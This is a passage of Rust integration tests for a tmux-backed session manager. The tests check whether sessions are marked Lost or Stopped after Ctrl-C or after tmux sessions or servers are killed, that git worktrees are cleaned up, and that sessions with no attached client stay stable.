    // this workstation: a `send-keys C-c` delivers SIGINT to the pane's whole
    // foreground process group — since there's no job control, that's the wrapper
    // shell *and* its child together, not just the child — so the wrapper shell dies
    // before it can reach its `ec=$?; echo "$ec" > .code` tail. The entire tmux pane
    // exits immediately, with no exit marker ever written (confirmed by hand: `tmux
    // new-session … "$SHELL -l -c 'sleep 300; echo done > marker'"` followed by
    // `send-keys C-c` leaves no marker file and no tmux session behind).
    //
    // So — contrary to a naive assumption that Ctrl-C only interrupts the agent and
    // leaves the fallback shell to record a graceful exit code — a raw Ctrl-C is, from
    // the daemon's perspective, indistinguishable from an external `kill-session`:
    // both kill the whole pane with no marker, and the session correctly resolves to
    // Lost. This test locks in that real, verified behavior rather than asserting a
    // Stopped-with-exit-code outcome the wrapper cannot actually produce.
    #[tokio::test]
    async fn test_cell4_ctrl_c_kills_whole_pane_classifies_lost() {
        let socket = unique_socket();
        let (mgr, _tmp) = real_manager(&socket).await;

        let session = mgr
            .create_session(make_req("cell4-ctrl-c", "/tmp", "sleep 300", false))
            .await
            .unwrap();
        let id = session.id.to_string();
        let backend_id = session
            .backend_session_id
            .clone()
            .expect("backend session id should resolve on create");

        let alive = wait_for(10, || async {
            mgr.backend().is_alive(&backend_id).unwrap_or(false)
        })
        .await;
        assert!(alive, "long-running session should be alive before Ctrl-C");

        raw_tmux(&socket, &["send-keys", "-t", &backend_id, "C-c"]);

        let lost = wait_for_status(&mgr, &id, SessionStatus::Lost, 20).await;
        let fetched = mgr.get_session(&id).await.unwrap().unwrap();
        assert!(
            lost,
            "Ctrl-C kills the whole non-interactive wrapper pane with no exit marker, \
             so the session should classify to Lost, got {:?}",
            fetched.status
        );
        assert_eq!(fetched.exit_code, None);

        kill_test_server(&socket);
    }

    // -- Cell 5: kill-session mid-run ----------------------------------------------
    //
    // tmux is killed directly (not via the agent exiting) while a long-running agent
    // is still running — no exit marker is ever written, so this must resolve to
    // Lost, not Stopped.

    #[tokio::test]
    async fn test_cell5_kill_session_mid_run_classifies_lost() {
        let socket = unique_socket();
        let (mgr, _tmp) = real_manager(&socket).await;

        let session = mgr
            .create_session(make_req("cell5-kill-session", "/tmp", "sleep 300", false))
            .await
            .unwrap();
        let id = session.id.to_string();
        let backend_id = session
            .backend_session_id
            .clone()
            .expect("backend session id should resolve on create");

        let alive = wait_for(10, || async {
            mgr.backend().is_alive(&backend_id).unwrap_or(false)
        })
        .await;
        assert!(
            alive,
            "long-running session should be alive before the kill"
        );

        raw_tmux(&socket, &["kill-session", "-t", &backend_id]);

        let lost = wait_for_status(&mgr, &id, SessionStatus::Lost, 20).await;
        let fetched = mgr.get_session(&id).await.unwrap().unwrap();
        assert!(
            lost,
            "session should classify to Lost after kill-session mid-run, got {:?}",
            fetched.status
        );
        assert_eq!(fetched.exit_code, None);

        kill_test_server(&socket);
    }

    // -- Cell 6: kill-server mid-run ------------------------------------------------
    //
    // The whole tmux server (this test's isolated socket) is killed while a
    // long-running agent is still running. Same outcome as Cell 5 but at server
    // granularity — still resolves to Lost.

    #[tokio::test]
    async fn test_cell6_kill_server_mid_run_classifies_lost() {
        let socket = unique_socket();
        let (mgr, _tmp) = real_manager(&socket).await;

        let session = mgr
            .create_session(make_req("cell6-kill-server", "/tmp", "sleep 300", false))
            .await
            .unwrap();
        let id = session.id.to_string();
        let backend_id = session
            .backend_session_id
            .clone()
            .expect("backend session id should resolve on create");

        let alive = wait_for(10, || async {
            mgr.backend().is_alive(&backend_id).unwrap_or(false)
        })
        .await;
        assert!(
            alive,
            "long-running session should be alive before the kill"
        );

        raw_tmux(&socket, &["kill-server"]);

        let lost = wait_for_status(&mgr, &id, SessionStatus::Lost, 20).await;
        let fetched = mgr.get_session(&id).await.unwrap().unwrap();
        assert!(
            lost,
            "session should classify to Lost after kill-server mid-run, got {:?}",
            fetched.status
        );
        assert_eq!(fetched.exit_code, None);

        // The server (and its socket) is already gone — nothing left to tear down.
    }

    // -- Cell 9: worktree reclaim end-to-end ---------------------------------------
    //
    // A session spawned with `worktree: true` gets a real git worktree; once the
    // session is dead (short agent exit + shell exit -> Stopped, per Cell 3), a
    // `cleanup_dead_sessions` pass must remove the worktree directory from disk and
    // the exit markers end to end — not just flip DB bookkeeping.

    fn git(repo: &std::path::Path, args: &[&str]) -> std::process::Output {
        StdCommand::new("git")
            .args(args)
            .current_dir(repo)
            .output()
            .expect("git should run")
    }

    fn init_repo(repo: &std::path::Path) {
        std::fs::create_dir_all(repo).unwrap();
        git(repo, &["init", "-q"]);
        git(repo, &["config", "user.email", "qa@pulpo.test"]);
        git(repo, &["config", "user.name", "pulpo-qa"]);
        std::fs::write(repo.join("README.md"), "seed").unwrap();
        git(repo, &["add", "."]);
        git(repo, &["commit", "-q", "-m", "init"]);
    }

    #[tokio::test]
    async fn test_cell9_worktree_reclaimed_end_to_end_after_session_dies() {
        let socket = unique_socket();
        let (mgr, _tmp) = real_manager(&socket).await;

        let repo_tmp = tempfile::tempdir().unwrap();
        let repo = repo_tmp.path().join("repo");
        init_repo(&repo);

        let script_dir = tempfile::tempdir().unwrap();
        let command = short_agent_script(script_dir.path(), 0);

        let session = mgr
            .create_session(make_req(
                "cell9-worktree-reclaim",
                repo.to_str().unwrap(),
                &command,
                true,
            ))
            .await
            .unwrap();
        let id = session.id.to_string();
        let backend_id = session
            .backend_session_id
            .clone()
            .expect("backend session id should resolve on create");
        let worktree_path = session
            .worktree_path
            .clone()
            .expect("worktree should have been created");
        assert!(
            std::path::Path::new(&worktree_path).exists(),
            "worktree directory should exist right after spawn"
        );

        assert!(
            wait_for_exit_marker(&mgr, &id, 20).await,
            "short agent should exit and write the .code marker"
        );

        raw_tmux(&socket, &["send-keys", "-t", &backend_id, "exit", "Enter"]);

        assert!(
            wait_for_status(&mgr, &id, SessionStatus::Stopped, 20).await,
            "session should be Stopped before cleanup runs"
        );

        let cleanup = mgr.cleanup_dead_sessions().await.unwrap();
        assert_eq!(cleanup.sessions_deleted, 1);
        assert_eq!(cleanup.worktrees_cleaned, 1);
        assert!(
            !std::path::Path::new(&worktree_path).exists(),
            "worktree directory should be removed from disk after cleanup"
        );
        let data_dir = mgr.store().data_dir().to_owned();
        assert!(
            !crate::session::utils::has_exit_marker(&data_dir, &id),
            "exit markers should be removed after cleanup"
        );

        kill_test_server(&socket);
    }

    // -- Part 2 proof: a Ready session's tmux dying resolves to Stopped -----------
    //
    // Reaches Ready by directly setting the DB status once the exit marker is on
    // disk and the fallback shell is genuinely still alive in a real tmux session —
    // the Active->Ready transition itself (driven by the watchdog's marker scrape)
    // is exercised by `watchdog::idle`'s own tests, not re-proven here. This test's
    // job is to prove the *fixed* `check_and_mark_stale`/`resume_lost_sessions`
    // reclassify a dead `Ready` session via its `.code` marker instead of leaving it
    // stuck as `Ready` forever (the #94 follow-up limitation, fixed above).

    #[tokio::test]
    async fn test_ready_death_fix_real_tmux_kill_session_classifies_stopped() {
        let socket = unique_socket();
        let (mgr, _tmp) = real_manager(&socket).await;
        let script_dir = tempfile::tempdir().unwrap();
        let command = short_agent_script(script_dir.path(), 3);

        let session = mgr
            .create_session(make_req("ready-death-real-tmux", "/tmp", &command, false))
            .await
            .unwrap();
        let id = session.id.to_string();
        let backend_id = session
            .backend_session_id
            .clone()
            .expect("backend session id should resolve on create");

        assert!(
            wait_for_exit_marker(&mgr, &id, 20).await,
            "short agent should exit and write the .code marker"
        );
        assert!(
            mgr.backend().is_alive(&backend_id).unwrap_or(false),
            "the fallback shell should still be alive after the agent exits"
        );

        // Simulate the watchdog having already promoted this session to Ready (the
        // Active->Ready transition itself is exercised by watchdog::idle's tests).
        mgr.store()
            .update_session_status(&id, SessionStatus::Ready)
            .await
            .unwrap();

        raw_tmux(&socket, &["kill-session", "-t", &backend_id]);

        let stopped = wait_for_status(&mgr, &id, SessionStatus::Stopped, 20).await;
        let fetched = mgr.get_session(&id).await.unwrap().unwrap();
        assert!(
            stopped,
            "a dead Ready session with an exit marker must resolve to Stopped, got {:?}",
            fetched.status
        );
        assert_eq!(fetched.exit_code, Some(3));

        kill_test_server(&socket);
    }

    // -- Cell 10: detach/no-client -------------------------------------------------
    //
    // A real attach/detach round-trip (`script -q /dev/null tmux -L <socket> attach
    // …` then a detach keystroke) was tried and rejected: `spawn_attach` shells out
    // through `script(1)` to fake a PTY, and driving + verifying a clean detach
    // headlessly (no real terminal, no human at the keyboard) turned out to depend on
    // `script`'s own PTY emulation quirks across macOS/Linux and on precise timing
    // between the attach handshake and the detach keystroke — exactly the kind of
    // environment-flakiness this task was told to avoid ("don't ship a flaky test").
    // It also wouldn't prove anything the rest of this module doesn't already cover:
    // detaching a client never touches the backend tmux session at all (tmux keeps
    // running with zero attached clients — that's normal, expected operation, not a
    // lifecycle transition), so the real thing worth proving is the documented
    // *approximation*: a session with no attached client is simply a live session
    // like any other from the watchdog's point of view, and repeated staleness/idle
    // checks against it must be stable — no spurious transition — across several
    // consecutive ticks.
    #[tokio::test]
    async fn test_cell10_no_client_session_stable_across_repeated_checks() {
        let socket = unique_socket();
        let (mgr, _tmp) = real_manager(&socket).await;

        let session = mgr
            .create_session(make_req("cell10-no-client", "/tmp", "sleep 300", false))
            .await
            .unwrap();
        let id = session.id.to_string();
        let backend_id = session
            .backend_session_id
            .clone()
            .expect("backend session id should resolve on create");

        let alive = wait_for(10, || async {
            mgr.backend().is_alive(&backend_id).unwrap_or(false)
        })
        .await;
        assert!(alive, "session should be alive before the no-client checks");

        // No client ever attaches — `create_session` only ever `new-session -d`s
        // (detached). Repeatedly re-run the same staleness sweep `get_session` does
        // on every API call, and confirm the session is never spuriously reclassified
        // while the backend is genuinely still alive and no exit marker exists.
        for _ in 0..3 {
            let fetched = mgr.get_session(&id).await.unwrap().unwrap();
            assert_eq!(
                fetched.status,
                SessionStatus::Active,
                "an unattached-but-alive session must not spuriously transition"
            );
            tokio::time::sleep(Duration::from_millis(300)).await;
        }

        kill_test_server(&socket);
    }
}